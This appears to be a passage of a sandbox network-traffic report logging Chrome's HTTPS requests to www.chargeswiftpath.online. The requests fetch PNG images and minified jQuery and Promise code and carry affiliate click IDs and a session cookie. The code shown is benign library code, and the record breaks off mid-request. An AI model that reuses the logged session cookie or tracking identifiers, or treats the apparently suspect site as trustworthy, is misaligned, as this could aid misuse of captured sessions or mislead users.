2025-01-08 14:45:41 UTC	408	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8c 00 00 00 3c 08 03 00 00 00 83 d4 a2 79 00 00 02 76 50 4c 54 45 00 00 00 8e c5 48 f2 f8 ec 55 53 54 92 c6 51 20 1d 1e 1c 1c 1c 92 c7 51 1d 1a 1b 77 b9 22 20 1d 1e dc e7 cc e2 f0 cf 22 1f 20 18 17 17 4b 4b 4b 9e cd 63 87 c1 3d 62 60 60 63 62 62 be dd 95 d7 e3 c6 0d 0a 0b a2 a1 a1 b9 db 8d e1 ec d2 26 22 23 a3 d0 6b 9a cb 5b 9b cb 5e 30 2e 2f 3c 3a 3a 17 14 15 22 21 21 c4 e1 a0 26 25 26 d8 eb c0 32 31 31 9a ca 5b 29 25 26 3b 37 39 a2 cf 68 ab d4 77 5f 5c 5d 3c 3a 3b a7 d2 71 b6 da 89 4c 4b 4b 85 c0 3a c7 e2 a5 c0 df 99 d1 e7 b5 e6 f2 d6 d2 e8 b6 c2 e0 9c 5a 59 59 10 0d 0e 98 ca 59 37 34 35 93 c7 51 3f 3c 3c 26 23 24 4b 48 49 24 22 23 2a 28 28 60 5e 5f 6c 6b 6b a3 cf 69 42 40 40 70 6f 70 c7 e3 a5 c1 Data Ascii: PNGIHDR<yvPLTEHUSTQ Qw" " KKKc=b``cbb&"#k[^0./<::"!!&%&211[)%&;79hw_\]<:;qLKK:ZYYY745Q?<<&#$KHI$"#*((`^_lkkiB@@pop
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: af 05 23 20 21 11 0d 0e 96 c8 55 8e c5 48 ff ff ff 23 1f 20 8c c4 46 85 c0 3a 02 00 00 7d bd 2d 08 05 06 0e 00 18 17 13 14 7a ba 29 0c 07 09 8f c5 4a 1c 18 19 90 c6 4c 12 0e 0f 28 26 23 95 c8 55 90 c9 49 15 09 1b 0f 0b 0c a5 e8 52 9f de 4f 9c da 4d 19 10 1c 0c 00 16 80 be 32 77 b9 24 1f 1b 1c d2 e6 b6 93 cd 4a 83 bf 37 a2 e3 51 12 05 19 ed f4 e1 c2 de 9c b2 d5 84 9f cd 63 88 c2 3f 75 b6 23 cd e4 ae b7 d9 8b 97 d3 4c 86 b8 46 88 cb 36 31 34 25 a2 e5 50 88 bd 47 6f 95 3d 86 c1 3c 41 4e 2c 34 3a 26 fb fc f8 f7 f9 f1 e0 ee cd bb da 92 a3 ce 6c 96 d0 4c 98 db 45 80 b0 44 8a c3 42 66 86 3a 51 68 32 72 b6 1d e6 f0 d5 d5 e7 bb c6 e0 a4 a9 ec 55 7b a8 42 5c 77 36 58 72 34 3b 44 29 d9 e9 c0 af d3 7d a8 d1 73 9a c9 5d 77 a0 41 4d 60 2f 47 58 2d 6c b5 13 92 d2 42 81 Data Ascii: # !UH# F:}-z)JL(&#UIROM2w$J7Qc?u#LF614%PGo=<AN,4:&lLEDBf:Qh2rU{B\w6Xr4;D)}s]wAM`/GX-lB
2025-01-08 14:45:41 UTC	735	IN	Data Raw: 68 8d 18 3d a5 47 0b 84 a1 bd 22 2c 5a a4 17 99 61 d8 4c 14 52 26 4c 10 f4 dc 66 cf dd c4 e8 77 27 ee d1 53 c3 bd c9 14 57 98 7f 64 c8 be 15 c9 e5 af 6d b6 e7 72 17 85 2d 34 aa d3 fb d2 06 c7 8f 32 93 d6 2d a3 5f 0e 98 60 42 8d d7 58 c1 50 77 d1 99 93 83 39 4e 2f 8a c2 6e 7c 77 5b 15 cb 71 22 12 5b dd 79 21 81 77 f9 96 10 bd 28 28 98 c5 d1 5e 93 a9 68 ae ee d0 d2 68 5f bf b0 55 e5 bc ca c4 bc 2a b2 da 8b 5e bd ca 2b ad f8 54 dd 9e d5 2d 73 2a 61 c4 06 c0 dc 4c 48 0c c7 63 e2 88 2b 27 f1 78 34 7e e9 d2 69 9d 1f 7b e0 fa f8 a5 cb 56 25 41 8f 0b 61 5d dc ae b8 f5 de cb 44 ca d0 23 95 8c 47 c9 e4 f0 2a 3b ed 22 5d 85 0f 1b 95 5a 74 8e f4 fb f3 0c fd 1e 35 2c 4d ca c8 4e 64 e8 c8 fd 70 35 c8 bf 32 55 ca a7 72 b9 86 56 ca 7a e1 7f 19 0c 9f 29 97 bf 6d c9 77 d9 Data Ascii: h=G",ZaLR&Lfw'SWdmr-42-_`BXPw9N/n\|w[q"[y!w((^hh_U^+T-saLHc+'x4~i{V%Aa]D#G*;"]Zt5,MNdp52UrVz)mw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49876	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:41 UTC	820	OUT	GET /new/67234/app/desktop/images/secure1.png HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:41 UTC	969	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:41 GMT Content-Type: image/png Content-Length: 3071 Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: public, max-age=31536000, must-revalidate expires: Sat, 20 Dec 2025 16:22:39 GMT CF-Cache-Status: HIT Age: 1635782 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7JAv5VA4OzZxCtUG%2FN5quuMyf%2B2Io%2FtTPoCWqDM53NifNQeAotB%2BKioQzt0NxO%2BSIWx7ONdb%2B8LhiaueqrNpREHN7de4zGVjLtIpd95OsCtwmYR4xYAjXQ56I748QXjZa8%2B4Emcluyv1wqlQKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf9058829422f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&min_rtt=1805&rtt_var=683&sent=3&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1398&delivery_rate=1617728&cwnd=137&unsent_bytes=0&cid=17ed7f71df7ccaeb&ts=135&x=0"
2025-01-08 14:45:41 UTC	400	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8c 00 00 00 3c 08 03 00 00 00 83 d4 a2 79 00 00 02 ac 50 4c 54 45 00 00 00 c3 c3 c4 cc cb cc b6 b5 b6 a0 9f a1 d8 d7 d8 2f 2d 30 1f 1c 20 26 23 27 99 98 99 63 61 64 43 41 44 ad ac ad d5 d6 d6 fb fb fb 2e 2c 2f 42 40 43 30 2e 31 52 50 53 85 83 85 7a 79 7b 7a 78 7a 6e 6c 6e 87 85 87 82 80 83 b2 b1 b3 d7 d7 d8 cd cc cd 64 62 65 46 46 49 43 40 43 52 51 53 51 4f 52 69 67 69 7e 7c 7e 72 70 73 95 94 96 c5 c4 c5 a6 a5 a6 aa ab ac 99 9b 9c 2d 2b 2e 18 15 18 5f 5d 5f 78 77 79 bb ba bb 89 88 8a a9 a8 a9 1a 17 1b 27 25 28 3c 39 3d 43 40 43 58 56 59 4b 49 4c 2b 28 2c 71 6f 71 0b 09 0c 87 85 87 a3 a2 a3 88 86 88 e6 e7 e7 b7 ba ba 1a 18 1b 36 34 37 5a 58 5a d0 d2 d2 ee ee ee 2e 2b 2f 38 35 39 07 04 07 aa ad ad ff Data Ascii: PNGIHDR<yPLTE/-0 &#'cadCAD.,/B@C0.1RPSzy{zxznlndbeFFIC@CRQSQORigi~\|~rps-+._]_xwy'%(<9=C@CXVYKIL+(,qoq647ZXZ.+/859
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: ff 00 00 00 07 05 08 19 16 1a 15 12 16 0f 0c 10 0b 08 0c c9 0a 36 1d 1a 1e c1 0e 39 bb 11 3a b2 12 3b ad 15 3d b8 12 3a c0 c1 c1 b1 0c 30 a7 17 3d cc 0b 38 23 20 24 6d 00 01 e0 e0 e1 cd cd ce c9 ca cb a5 00 18 e9 e8 e9 d9 d8 d9 d0 d0 d1 af b0 b1 a2 1b 42 bb 00 10 ab 00 0f b1 00 07 76 00 04 f9 f5 f6 f1 f1 f1 e3 e3 e3 dc dc dc b3 b4 b5 c9 02 2a b9 00 1d c6 c6 c8 ce 8a 97 83 84 86 b9 6d 7b 75 76 78 d2 0a 39 a5 00 06 f2 f3 f3 ed ed ee f7 e7 ea f2 db e1 e5 bc c7 e6 83 9b d6 75 8c 6f 70 72 b1 59 6c aa 5a 6a a0 12 39 a8 03 27 c4 01 22 b0 00 1e 94 00 19 e1 b0 bb e0 9d ad d0 44 66 b3 1f 42 bc 08 31 9e 00 19 86 02 13 81 00 09 b9 ba bb bf 7f 8a c6 6d 83 c3 63 7a b3 43 5f a6 49 5d 81 04 27 9b 06 25 71 00 21 c3 00 14 e7 d0 d6 ec c5 ce d3 af bb e2 a5 b4 e4 91 a6 a2 a4 Data Ascii: 69:;=:0=8# $mBv*m{uvx9uoprYlZj9'"DfB1mczC_I]'%q!
2025-01-08 14:45:41 UTC	1302	IN	Data Raw: cb 3a 03 a1 45 5a 79 ad 10 fd d5 d0 17 b1 d1 64 8a 80 e1 8b 22 2f 8a 46 89 e6 c9 22 43 49 0b 67 29 53 a9 22 25 1c 25 47 76 60 0d 9d 8b 1d b9 1d 17 0e 90 4c c5 5d 8e e1 94 b4 66 87 1c 3c 67 f3 74 21 af 80 cb 2d 1b 40 07 23 05 3e 35 12 02 25 9c 0f 30 49 c2 30 6f e4 8d 61 f5 a7 79 6a 4c bc 69 e2 e0 c1 83 f5 46 6c 61 29 93 4a 40 53 ac 43 0b 32 86 16 28 f9 3b b8 89 f4 95 35 4c 31 67 50 9f 64 c6 a5 c4 5d 7a ca 29 12 09 ca f5 cc da f8 a4 c4 0b 67 39 2e 64 93 17 db 17 88 26 79 fd a2 81 b6 1c a6 42 1b 36 bd 38 86 fa 7a 3a 10 76 3c 4a aa 00 c4 de 14 1b 50 66 94 06 bc 9b 20 c3 38 0c ac a1 5d 7a 29 fd fd 63 f1 34 43 4f 14 89 dd 67 94 eb 46 26 53 75 9a 73 da 14 a2 61 9b de d5 95 2d 57 4f d7 31 0e d0 54 af d7 ab c1 a1 63 94 10 d5 bf b1 ab ab 32 b7 7d 5d c7 44 78 eb fd Data Ascii: :EZyd"/F"CIg)S"%%Gv`L]f<gt!-@#>5%0I0oayjLiFla)J@SC2(;5L1gPd]z)g9.d&yB68z:v<JPf 8]z)c4COgF&Susa-WO1Tc2}]Dx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49875	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:41 UTC	757	OUT	GET /new/67234/assets/dist/codebase.min.js HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:41 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:41 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close last-modified: Mon, 11 Nov 2024 11:14:00 GMT Cache-Control: max-age=31536000 expires: Sat, 20 Dec 2025 16:22:39 GMT vary: Accept-Encoding,User-Agent content-language: en-us CF-Cache-Status: HIT Age: 1635782 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2nDd0WQ2wOcq3ooeU5BOcyoptC0hEq9yDjD2RdlXRpb1V7pvaChPqFLvlIp6jBaUL7aJ2z9VlQkbwz7USzsT9ZgfEFkF5EUGSlW%2FFYAjwFtk4wEo%2BZfhKwrki4OT%2FaDEvWmjNB6j%2BTpN8rq0Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf905baf142bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1878&min_rtt=1871&rtt_var=716&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2857&recv_bytes=1335&delivery_rate=1512169&cwnd=196&unsent_bytes=0&cid=fb9cf8eacd5b8426&ts=164&x=0"
2025-01-08 14:45:41 UTC	358	IN	Data Raw: 37 63 38 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 73 20 6d 75 73 74 20 62 65 20 63 6f 6e 73 74 72 75 63 74 65 64 20 76 69 61 20 6e 65 77 22 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 74 68 69 Data Ascii: 7c83!function(t){function e(){}function n(t,e){return function(){t.apply(e,arguments)}}function o(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");thi
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 2e 5f 73 74 61 74 65 3b 29 74 3d 74 2e 5f 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 74 2e 5f 73 74 61 74 65 3f 76 6f 69 64 20 74 2e 5f 64 65 66 65 72 72 65 64 73 2e 70 75 73 68 28 65 29 3a 28 74 2e 5f 68 61 6e 64 6c 65 64 3d 21 30 2c 76 6f 69 64 20 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 31 3d 3d 3d 74 2e 5f 73 74 61 74 65 3f 65 2e 6f 6e 46 75 6c 66 69 6c 6c 65 64 3a 65 2e 6f 6e 52 65 6a 65 63 74 65 64 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 28 31 3d 3d 3d 74 2e 5f 73 74 61 74 65 3f 69 3a 66 29 28 65 2e 70 72 6f 6d 69 73 65 2c 74 2e 5f 76 61 6c 75 65 29 3b 76 61 72 20 6f 3b 74 72 79 7b 6f 3d 6e 28 74 2e 5f 76 61 6c 75 65 29 7d 63 61 74 63 68 28 72 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 66 28 65 Data Ascii: ._state;)t=t._value;return 0===t._state?void t._deferreds.push(e):(t._handled=!0,void a(function(){var n=1===t._state?e.onFulfilled:e.onRejected;if(null===n)return void(1===t._state?i:f)(e.promise,t._value);var o;try{o=n(t._value)}catch(r){return void f(e
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 75 63 74 6f 72 28 65 29 3b 72 65 74 75 72 6e 20 72 28 74 68 69 73 2c 6e 65 77 20 63 28 74 2c 6e 2c 6f 29 29 2c 6f 7d 2c 6f 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 6f 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 69 2c 66 29 7b 74 72 79 7b 69 66 28 66 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 66 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 66 29 29 7b 76 61 72 20 75 3d 66 2e 74 68 65 6e 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 75 29 72 65 74 75 72 6e 20 76 6f 69 64 20 75 2e 63 61 6c 6c 28 66 2c 66 75 6e 63 74 69 Data Ascii: uctor(e);return r(this,new c(t,n,o)),o},o.all=function(t){var e=Array.prototype.slice.call(t);return new o(function(t,n){function o(i,f){try{if(f&&("object"==typeof f\|\|"function"==typeof f)){var u=f.then;if("function"==typeof u)return void u.call(f,functi
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 64 73 2e 63 6f 6e 63 61 74 2c 63 6f 72 65 5f 70 75 73 68 3d 63 6f 72 65 5f 64 65 6c 65 74 65 64 49 64 73 2e 70 75 73 68 2c 63 6f 72 65 5f 73 6c 69 63 65 3d 63 6f 72 65 5f 64 65 6c 65 74 65 64 49 64 73 2e 73 6c 69 63 65 2c 63 6f 72 65 5f 69 6e 64 65 78 4f 66 3d 63 6f 72 65 5f 64 65 6c 65 74 65 64 49 64 73 2e 69 6e 64 65 78 4f 66 2c 63 6f 72 65 5f 74 6f 53 74 72 69 6e 67 3d 63 6c 61 73 73 32 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 63 6f 72 65 5f 68 61 73 4f 77 6e 3d 63 6c 61 73 73 32 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 63 6f 72 65 5f 74 72 69 6d 3d 63 6f 72 65 5f 76 65 72 73 69 6f 6e 2e 74 72 69 6d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 73 65 6c 65 63 74 6f 72 2c 63 6f 6e 74 65 78 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 Data Ascii: ds.concat,core_push=core_deletedIds.push,core_slice=core_deletedIds.slice,core_indexOf=core_deletedIds.indexOf,core_toString=class2type.toString,core_hasOwn=class2type.hasOwnProperty,core_trim=core_version.trim,jQuery=function(selector,context){return new
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 6f 6e 28 74 68 69 73 5b 6d 61 74 63 68 5d 29 29 7b 74 68 69 73 5b 6d 61 74 63 68 5d 28 63 6f 6e 74 65 78 74 5b 6d 61 74 63 68 5d 29 7d 65 6c 73 65 7b 74 68 69 73 2e 61 74 74 72 28 6d 61 74 63 68 2c 63 6f 6e 74 65 78 74 5b 6d 61 74 63 68 5d 29 7d 7d 7d 0a 72 65 74 75 72 6e 20 74 68 69 73 7d 65 6c 73 65 7b 65 6c 65 6d 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 6d 61 74 63 68 5b 32 5d 29 3b 69 66 28 65 6c 65 6d 26 26 65 6c 65 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7b 74 68 69 73 2e 6c 65 6e 67 74 68 3d 31 3b 74 68 69 73 5b 30 5d 3d 65 6c 65 6d 7d 0a 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 64 6f 63 75 6d 65 6e 74 3b 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 3d 73 65 6c 65 63 74 6f 72 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 7d 65 6c Data Ascii: on(this[match])){this[match](context[match])}else{this.attr(match,context[match])}}}return this}else{elem=document.getElementById(match[2]);if(elem&&elem.parentNode){this.length=1;this[0]=elem}this.context=document;this.selector=selector;return this}}el
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 6a 51 75 65 72 79 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 2c 69 29 7b 72 65 74 75 72 6e 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 65 6c 65 6d 2c 69 2c 65 6c 65 6d 29 7d 29 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 6e 75 6c 6c 29 7d 2c 70 75 73 68 3a 63 6f 72 65 5f 70 75 73 68 2c 73 6f 72 74 3a 5b 5d 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 5b 5d 2e 73 70 6c 69 63 65 7d 3b 6a 51 75 65 72 79 2e 66 6e 2e 69 6e 69 74 2e 70 72 6f 74 6f 74 79 70 65 3d 6a 51 75 65 72 79 2e 66 6e 3b 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 3d 6a 51 75 Data Ascii: {return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem)}))},end:function(){return this.prevObject\|\|this.constructor(null)},push:core_push,sort:[].sort,splice:[].splice};jQuery.fn.init.prototype=jQuery.fn;jQuery.extend=jQu
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 2e 69 73 52 65 61 64 79 29 7b 72 65 74 75 72 6e 7d 0a 6a 51 75 65 72 79 2e 69 73 52 65 61 64 79 3d 21 30 3b 69 66 28 77 61 69 74 21 3d 3d 21 30 26 26 2d 2d 6a 51 75 65 72 79 2e 72 65 61 64 79 57 61 69 74 3e 30 29 7b 72 65 74 75 72 6e 7d 0a 72 65 61 64 79 4c 69 73 74 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 64 6f 63 75 6d 65 6e 74 2c 5b 6a 51 75 65 72 79 5d 29 3b 69 66 28 6a 51 75 65 72 79 2e 66 6e 2e 74 72 69 67 67 65 72 29 7b 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 22 72 65 61 64 79 22 29 2e 6f 66 66 28 22 72 65 61 64 79 22 29 7d 7d 2c 69 73 46 75 6e 63 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 6f 62 6a 29 7b 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 74 79 70 65 28 6f 62 6a 29 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 7d 2c Data Ascii: .isReady){return}jQuery.isReady=!0;if(wait!==!0&&--jQuery.readyWait>0){return}readyList.resolveWith(document,[jQuery]);if(jQuery.fn.trigger){jQuery(document).trigger("ready").off("ready")}},isFunction:function(obj){return jQuery.type(obj)==="function"},
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 58 4d 4c 3a 66 75 6e 63 74 69 6f 6e 28 64 61 74 61 29 7b 76 61 72 20 78 6d 6c 2c 74 6d 70 3b 69 66 28 21 64 61 74 61 7c 7c 74 79 70 65 6f 66 20 64 61 74 61 21 3d 3d 22 73 74 72 69 6e 67 22 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 0a 74 72 79 7b 74 6d 70 3d 6e 65 77 20 44 4f 4d 50 61 72 73 65 72 28 29 3b 78 6d 6c 3d 74 6d 70 2e 70 61 72 73 65 46 72 6f 6d 53 74 72 69 6e 67 28 64 61 74 61 2c 22 74 65 78 74 2f 78 6d 6c 22 29 7d 63 61 74 63 68 28 65 29 7b 78 6d 6c 3d 75 6e 64 65 66 69 6e 65 64 7d 0a 69 66 28 21 78 6d 6c 7c 7c 78 6d 6c 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 70 61 72 73 65 72 65 72 72 6f 72 22 29 2e 6c 65 6e 67 74 68 29 7b 6a 51 75 65 72 79 2e 65 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 58 4d 4c 3a 20 22 2b 64 61 Data Ascii: XML:function(data){var xml,tmp;if(!data\|\|typeof data!=="string"){return null}try{tmp=new DOMParser();xml=tmp.parseFromString(data,"text/xml")}catch(e){xml=undefined}if(!xml\|\|xml.getElementsByTagName("parsererror").length){jQuery.error("Invalid XML: "+da
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 2e 6d 65 72 67 65 28 72 65 74 2c 74 79 70 65 6f 66 20 61 72 72 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 5b 61 72 72 5d 3a 61 72 72 29 7d 65 6c 73 65 7b 63 6f 72 65 5f 70 75 73 68 2e 63 61 6c 6c 28 72 65 74 2c 61 72 72 29 7d 7d 0a 72 65 74 75 72 6e 20 72 65 74 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 2c 61 72 72 2c 69 29 7b 72 65 74 75 72 6e 20 61 72 72 3d 3d 6e 75 6c 6c 3f 2d 31 3a 63 6f 72 65 5f 69 6e 64 65 78 4f 66 2e 63 61 6c 6c 28 61 72 72 2c 65 6c 65 6d 2c 69 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 66 69 72 73 74 2c 73 65 63 6f 6e 64 29 7b 76 61 72 20 6c 3d 73 65 63 6f 6e 64 2e 6c 65 6e 67 74 68 2c 69 3d 66 69 72 73 74 2e 6c 65 6e 67 74 68 2c 6a 3d 30 3b 69 66 28 74 79 70 65 6f 66 20 6c 3d 3d 3d 22 6e 75 6d 62 65 Data Ascii: .merge(ret,typeof arr==="string"?[arr]:arr)}else{core_push.call(ret,arr)}}return ret},inArray:function(elem,arr,i){return arr==null?-1:core_indexOf.call(arr,elem,i)},merge:function(first,second){var l=second.length,i=first.length,j=0;if(typeof l==="numbe
2025-01-08 14:45:41 UTC	1369	IN	Data Raw: 63 74 22 29 7b 63 68 61 69 6e 61 62 6c 65 3d 21 30 3b 66 6f 72 28 69 20 69 6e 20 6b 65 79 29 7b 6a 51 75 65 72 79 2e 61 63 63 65 73 73 28 65 6c 65 6d 73 2c 66 6e 2c 69 2c 6b 65 79 5b 69 5d 2c 21 30 2c 65 6d 70 74 79 47 65 74 2c 72 61 77 29 7d 7d 65 6c 73 65 20 69 66 28 76 61 6c 75 65 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 63 68 61 69 6e 61 62 6c 65 3d 21 30 3b 69 66 28 21 6a 51 75 65 72 79 2e 69 73 46 75 6e 63 74 69 6f 6e 28 76 61 6c 75 65 29 29 7b 72 61 77 3d 21 30 7d 0a 69 66 28 62 75 6c 6b 29 7b 69 66 28 72 61 77 29 7b 66 6e 2e 63 61 6c 6c 28 65 6c 65 6d 73 2c 76 61 6c 75 65 29 3b 66 6e 3d 6e 75 6c 6c 7d 65 6c 73 65 7b 62 75 6c 6b 3d 66 6e 3b 66 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 2c 6b 65 79 2c 76 61 6c 75 65 29 7b 72 65 74 75 72 6e 20 62 Data Ascii: ct"){chainable=!0;for(i in key){jQuery.access(elems,fn,i,key[i],!0,emptyGet,raw)}}else if(value!==undefined){chainable=!0;if(!jQuery.isFunction(value)){raw=!0}if(bulk){if(raw){fn.call(elems,value);fn=null}else{bulk=fn;fn=function(elem,key,value){return b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49878	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:41 UTC	768	OUT	GET /new/67234/app/desktop/js/bootstrap.bundle.min.js HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: 